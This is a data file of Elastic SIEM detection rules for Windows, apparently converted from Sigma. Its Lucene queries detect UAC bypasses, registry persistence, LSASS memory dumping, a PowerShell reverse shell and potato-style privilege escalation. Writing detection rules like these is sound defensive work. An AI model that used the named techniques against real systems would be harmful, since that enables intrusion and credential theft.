{"description":"Detects the image load of vss_ps.dll by uncommon executables using OriginalFileName datapoint Author: Markus Neis, @markus_neis. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fc7500b0-2a78-8e86-918d-4e7fca08d6a1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Image Load of VSS_PS.dll by Uncommon Executable","query":"(file.path:*\\\\vss_ps.dll AND (NOT (process.executable:(*\\\\svchost.exe OR *\\\\msiexec.exe OR *\\\\vssvc.exe OR *\\\\srtasks.exe OR *\\\\tiworker.exe OR *\\\\dllhost.exe OR *\\\\searchindexer.exe OR *dismhost.exe OR *taskhostw.exe OR *\\\\clussvc.exe OR *\\\\thor64.exe OR *\\\\thor.exe) AND process.executable:*c\\:\\\\windows\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1490"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0034","reference":"","name":"Impact"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1490","name":"Inhibit System Recovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the import of a alternate datastream to the registry with regedit.exe. Author: Oddvar Moe, Sander Wiebing, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0b80ade5-6997-4b1d-99a1-71701778ea61","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Imports Registry Key From an ADS","query":"((process.executable:*\\\\regedit.exe AND process.command_line:(*\\ \\/i\\ * OR *.reg*) AND process.command_line:/:[\\\\\\\\]/) AND (NOT (process.command_line:(*\\ \\/e\\ * OR *\\ \\/a\\ * OR *\\ \\/c\\ *))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys. Author: Eli Salem, Sander Wiebing, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"77946e79-97f1-45a2-84b4-f37b5c0d8682","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Modifies the Registry From a ADS","query":"(process.executable:*\\\\regini.exe AND process.command_line:/:[\\\\\\\\]/)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the import of the specified file to the registry with regedit.exe. Author: Oddvar Moe, Sander Wiebing, oscd.community. License: ","enabled":false,"false_positives":["Legitimate import of keys","Evernote"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"dfaa230e-b346-6a26-0be6-82671960005c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Imports Registry Key From a File","query":"(((process.executable:*\\\\regedit.exe AND process.command_line:(*\\ \\/i\\ * OR *\\ \\/s\\ * OR *.reg*)) AND (NOT (process.command_line:(*\\ \\/e\\ * OR *\\ \\/a\\ * OR *\\ \\/c\\ *)))) AND (NOT (process.command_line:/:[\\\\\\\\]/)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required) Author: Dimitrios Slamaris. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f44cb3c3-7c0b-414e-d977-67491ffcf47f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DHCP Callout DLL Installation","query":"winlog.event_data.TargetObject:(*\\\\Services\\\\DHCPServer\\\\Parameters\\\\CalloutDlls OR *\\\\Services\\\\DHCPServer\\\\Parameters\\\\CalloutEnabled)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the Installation of a Exchange Transport Agent Author: Tobias Michalski. License: ","enabled":false,"false_positives":["legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"83809e84-4475-4b69-bc3e-4aad8568612f","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"MSExchange Transport Agent Installation","query":"process.command_line:*Install\\-TransportAgent*","meta":{"from":"1m"},"severity":"medium","tags":["T1505"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1505","name":"Server Software Component","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server (restart required) Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f63b56ee-3f79-4b8a-97fb-5c48007e8573","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"DNS ServerLevelPluginDll Install","query":"(process.executable:*\\\\dnscmd.exe AND process.command_line:*\\/config* AND process.command_line:*\\/serverlevelplugindll*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1112","T1574"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""},{"id":"T1574","name":"Hijack Execution Flow","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the installation of the Azure Hybrid Connection Manager service to allow remote code execution from Azure function. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"63aea690-d9bf-e4ce-14a6-1a593d841992","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"HybridConnectionManager Service Installation","query":"(winlog.event_data.TargetObject:*\\\\Services\\\\HybridConnectionManager* OR (winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.Details:*Microsoft.HybridConnectionManager.Listener.exe*))","meta":{"from":"1m"},"severity":"high","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the keyboard preload installation with a suspicious keyboard layout, e.g. Chinese, Iranian or Vietnamese layout load in user session on systems maintained by US staff only Author: Florian Roth. License: ","enabled":false,"false_positives":["Administrators or users that actually use the selected keyboard layouts (heavily depends on the organisation's user base)"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"62121b10-397a-90d3-11f2-469c8c6e5d29","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious Keyboard Layout Load","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:(*\\\\Keyboard\\ Layout\\\\Preload\\\\* OR *\\\\Keyboard\\ Layout\\\\Substitutes\\\\*) AND winlog.event_data.Details:(*00000429* OR *00050429* OR *0000042a*))","meta":{"from":"1m"},"severity":"medium","tags":[],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine. Author: Perez Diego (@darkquassar), oscd.community, Ecco. License: ","enabled":false,"false_positives":["Penetration tests"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3f378223-db55-8956-3e12-211ce78a5b83","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Load of dbghelp/dbgcore DLL from Suspicious Process","query":"(((file.path:(*\\\\dbghelp.dll OR *\\\\dbgcore.dll) AND (process.executable:(*\\\\msbuild.exe OR *\\\\cmd.exe OR *\\\\rundll32.exe OR *\\\\word.exe OR *\\\\excel.exe OR *\\\\powerpnt.exe OR *\\\\outlook.exe OR *\\\\monitoringhost.exe OR *\\\\wmic.exe OR *\\\\bash.exe OR *\\\\wscript.exe OR *\\\\cscript.exe OR *\\\\mshta.exe OR *\\\\schtasks.exe OR *\\\\dnx.exe OR *\\\\regsvcs.exe OR *\\\\sc.exe OR *\\\\scriptrunner.exe) OR Signed:\"FALSE\")) AND (NOT (process.executable:*Visual\\ Studio* OR process.command_line:(*\\-k\\ LocalSystemNetworkRestricted* OR *\\-k\\ UnistackSvcGroup\\ \\-s\\ WpnUserService*)))) AND (NOT (process.command_line:(\"C\\:\\\\WINDOWS\\\\winsxs\\*\\\\TiWorker.exe\\ \\-Embedding\" OR \"C\\:\\\\Windows\\\\system32\\\\svchost.exe\\ \\-k\\ netsvcs\\ \\-p\\ \\-s\\ wuauserv\" OR \"C\\:\\\\Windows\\\\System32\\\\svchost.exe\\ \\-k\\ WerSvcGroup\"))))","meta":{"from":"1m"},"severity":"high","tags":["Credential Access","T1003"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the malicious use of a control panel item Author: Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_). License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"15232d29-64f7-e80e-20b9-792a64db2a96","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Control Panel Items","query":"((process.command_line:*.cpl AND (NOT (process.command_line:(*\\\\System32\\\\* OR *%System%*)))) OR (process.executable:*\\\\reg.exe AND process.command_line:*add* AND process.command_line:*CurrentVersion\\\\Control\\ Panel\\\\CPLs*))","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","T1218","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1546","name":"Event Triggered Execution","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the manipulation of persistent URLs which can be malicious Author: Tobias Michalski. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2916b07e-ed5b-b494-d0f6-616c692b1cb2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Persistent Outlook Landing Pages","query":"(winlog.event_data.TargetObject:(*\\\\Software\\\\Microsoft\\\\Office\\\\* OR *\\\\Outlook\\\\WebView\\\\*) AND winlog.event_data.TargetObject:*\\\\URL AND winlog.event_data.TargetObject:(*\\\\Calendar\\\\* OR *\\\\Inbox\\\\*))","meta":{"from":"1m"},"severity":"high","tags":["T1112"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the manipulation of persistent URLs which could execute malicious code Author: Tobias Michalski. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2916b07e-ed5b-b494-d0f6-616c692b1cb2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Persistent Outlook Landing Pages","query":"((winlog.event_data.TargetObject:(*Software\\\\Microsoft\\\\Office\\\\* OR *\\\\Outlook\\\\Today\\\\*) AND ((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Stamp AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR winlog.event_data.TargetObject:*UserDefinedUrl)) AND (NOT ((process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe))))","meta":{"from":"1m"},"severity":"high","tags":["T1112"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the manipulation of persistent URLs which could execute malicious code Author: Tobias Michalski. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"2916b07e-ed5b-b494-d0f6-616c692b1cb2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Persistent Outlook Landing Pages","query":"(winlog.event_data.TargetObject:(*Software\\\\Microsoft\\\\Office\\\\* OR *\\\\Outlook\\\\Today\\\\*) AND ((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*Stamp AND winlog.event_data.Details:\"DWORD\\ \$0x00000001\$\") OR winlog.event_data.TargetObject:*UserDefinedUrl))","meta":{"from":"1m"},"severity":"high","tags":["T1112"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the modification of a ServiceDLL value in the service settings Author: frack113. License: ","enabled":false,"false_positives":["Administrative scripts","Installation of a service"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"75ee7f0a-8aec-2753-0885-d0a1bb841001","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"ServiceDll Modification","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\* AND winlog.event_data.TargetObject:*\\\\Parameters\\\\ServiceDll)","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1543"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]},{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1543","name":"Create or Modify System Process","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other. Author: @ScoubiMtl. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"49fd3cd3-68ec-e3bf-fa36-578fc165ce1c","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Outlook C2 Registry Key","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:\"HKCU\\\\Software\\\\Microsoft\\\\Office\\\\16.0\\\\Outlook\\\\Security\\\\Level\" AND winlog.event_data.Details:*0x00000001*)","meta":{"from":"1m"},"severity":"medium","tags":["T1008","T1137","T1546"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1137","name":"Office Application Startup","reference":""},{"id":"T1546","name":"Event Triggered Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the modification of PortProxy registry key which is used for port forwarding. For command execution see rule win_netsh_port_fwd.yml. Author: Andreas Hunkeler (@Karneades). License: ","enabled":false,"false_positives":["WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. )","Synergy Software KVM ()"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"990c8c54-16a9-ed8f-afcf-0020eb071e31","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"PortProxy Registry Key","query":"winlog.event_data.TargetObject:\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\PortProxy\\\\v4tov4\\\\tcp\"","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","Lateral Movement","T1090"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects the modification of the registry settings used for Internet Explorer and other Windows components that use these settings Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"fdc69740-bd97-393a-64a5-e6627723cfa1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Modification of IE Registry Settings","query":"((winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet\\ Settings*) AND (NOT ((winlog.event_data.Details:DWORD*) OR (winlog.event_data.Details:(\"Cookie\\:\" OR \"Visited\\:\" OR \"\$Empty\$\")) OR (winlog.event_data.TargetObject:(*\\\\Cache* OR *\\\\ZoneMap*)) OR (winlog.event_data.Details:\"Binary\\ Data\"))))","meta":{"from":"1m"},"severity":"low","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the Nishang Invoke-PowerShellTcpOneLine reverse shell Author: FPT.EagleEye, wagga. License: ","enabled":false,"false_positives":["Administrative might use this function for checking network connectivity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a9d61224-c01e-4f5a-5ca5-b7b044e22060","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Powershell Reverse Shell Connection","query":"(process.executable:*\\\\powershell.exe AND process.command_line:*new\\-object\\ system.net.sockets.tcpclient*)","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of a pipe name as used by the tool EfsPotato Author: Florian Roth. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"361a26dc-4963-5a30-8541-411c8be618f7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"EfsPotato Named Pipe","query":"file.name:(*\\\\pipe\\\\* OR *\\\\pipe\\\\srvsvc*)","meta":{"from":"1m"},"severity":"critical","tags":["Defense Evasion","Privilege Escalation","T1055"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1055","name":"Process Injection","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f0a88edf-4428-1d86-a99f-d1051aef87d4","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using .NET Code Profiler on MMC","query":"(file.path:C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Temp\\\\pe386.dll)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"cc3a2fde-d01c-4570-a875-a6fd1177db9e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using MSConfig Token Modification - File","query":"(file.path:C\\:\\\\Users\\\\* AND file.path:*\\\\AppData\\\\Local\\\\Temp\\\\pkgmgr.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"db7f959c-930f-f32d-bb7c-d1f43a6a0a10","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using MSConfig Token Modification - Process","query":"(IntegrityLevel:(\"High\" OR \"System\") AND process.parent.executable:*\\\\AppData\\\\Local\\\\Temp\\\\pkgmgr.exe AND process.command_line:\"\\\"C\\:\\\\Windows\\\\system32\\\\msconfig.exe\\\"\\ \\-5\")","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"3011da7f-6315-76d5-ed63-26cbd209fdbc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Abusing Winsat Path Parsing - File","query":"(file.path:C\\:\\\\Users\\\\* AND file.path:(*\\\\AppData\\\\Local\\\\Temp\\\\system32\\\\winsat.exe OR *\\\\AppData\\\\Local\\\\Temp\\\\system32\\\\winmm.dll))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"841766c4-1309-f6b9-1818-f23576a5eeec","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Abusing Winsat Path Parsing - Registry","query":"(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*\\\\Root\\\\InventoryApplicationFile\\\\winsat.exe|* AND winlog.event_data.TargetObject:*\\\\LowerCaseLongPath AND winlog.event_data.Details:c\\:\\\\users\\\\* AND winlog.event_data.Details:*\\\\appdata\\\\local\\\\temp\\\\system32\\\\winsat.exe)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7db450bf-a9bb-248c-cf36-55b80c8bbac6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Abusing Winsat Path Parsing - Process","query":"(IntegrityLevel:(\"High\" OR \"System\") AND process.parent.executable:*\\\\AppData\\\\Local\\\\Temp\\\\system32\\\\winsat.exe AND process.parent.command_line:*C\\:\\\\Windows\\ \\\\system32\\\\winsat.exe*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a329d3b3-aeae-3694-554d-abb2d63e73ee","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using WOW64 Logger DLL Hijack","query":"(process.executable:*\\:\\\\Windows\\\\SysWOW64\\\\* AND winlog.event_data.GrantedAccess:\"0x1fffff\" AND winlog.event_data.CallTrace:UNKNOWN\$0000000000000000\$|UNKNOWN\$0000000000000000\$|*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects the pattern of UAC Bypass using computerdefaults.exe (UACMe 59) Author: Christian Burkard. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a91e4fc8-afde-27d9-8952-410e32149797","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"UAC Bypass Using ComputerDefaults","query":"((IntegrityLevel:(\"High\" OR \"System\") AND process.executable:\"C\\:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\") AND (NOT (process.parent.executable:(*\\:\\\\Windows\\\\System32* OR *\\:\\\\Program\\ Files*))))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
